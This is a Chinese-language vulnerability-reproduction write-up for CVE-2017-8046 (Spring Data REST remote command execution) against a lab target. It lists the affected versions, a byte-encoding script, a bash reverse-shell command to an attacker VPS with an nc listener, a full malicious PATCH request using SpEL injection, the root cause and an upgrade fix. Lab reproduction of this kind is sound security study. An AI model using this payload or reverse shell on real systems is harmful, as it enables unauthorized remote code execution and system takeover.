漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行 0x00 实验环境 0x01 影响版本 0x02 漏洞复现 0x03 漏洞原理 0x04 修复建议 0x05 参考文献 0x06 免责声明

 
 
 
 
 
 
 

攻击机:Win 10

靶场:docker拉的vulhub靶场

0x01 影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0 M4
Spring Data release trains < Kay-RC3

0x02 漏洞复现

(1)访问页面时发现仅存在spring接口提示:

漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行
0x00 实验环境
0x01 影响版本
0x02 漏洞复现
0x03 漏洞原理
0x04 修复建议
0x05 参考文献
0x06 免责声明

此时特别想感叹一句我以前到底错过了多少漏洞!因为以前经常碰到这种页面。

 (2)首先生成ascii的命令:

payload = b'touch /tmp/success'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行
0x00 实验环境
0x01 影响版本
0x02 漏洞复现
0x03 漏洞原理
0x04 修复建议
0x05 参考文献
0x06 免责声明

(3)修改一下需要执行的反弹shell的命令:

bash -i >& /dev/tcp/vps的ip/7777 0>&1

(4)弹shell的命令可以直接先构造好,然后在以下网站进行编码,这是因为Linux的命令行有的时候无法识别一些符号的命令:

网址:http://www.jackson-t.ca/runtime-exec-payloads.html

漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行
0x00 实验环境
0x01 影响版本
0x02 漏洞复现
0x03 漏洞原理
0x04 修复建议
0x05 参考文献
0x06 免责声明

(5)然后再转ascii

漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行
0x00 实验环境
0x01 影响版本
0x02 漏洞复现
0x03 漏洞原理
0x04 修复建议
0x05 参考文献
0x06 免责声明

(6)下面使用payload进行测试,照常理,我们需要先在自己的服务器开启监听,然后再发送payload:

nc -lvp 7777

漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行
0x00 实验环境
0x01 影响版本
0x02 漏洞复现
0x03 漏洞原理
0x04 修复建议
0x05 参考文献
0x06 免责声明

(7)发送如下payload,其中,exec后面执行的编码替换为你生成的ascii命令,如下还没有替换,请自行替换

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行
0x00 实验环境
0x01 影响版本
0x02 漏洞复现
0x03 漏洞原理
0x04 修复建议
0x05 参考文献
0x06 免责声明

如下所示,shell就反弹至自己的vps上了:漏洞复现-CVE-2017-8046-Spring Data Rest 远程命令执行
0x00 实验环境
0x01 影响版本
0x02 漏洞复现
0x03 漏洞原理
0x04 修复建议
0x05 参考文献
0x06 免责声明

0x03 漏洞原理

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。

0x04 修复建议

官方已经发布新版本修复了该漏洞,受影响的用户可升级至最新版本来防护该漏洞。

0x05 参考文献

https://blog.****.net/baidu_38844729/article/details/107149916

0x06 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!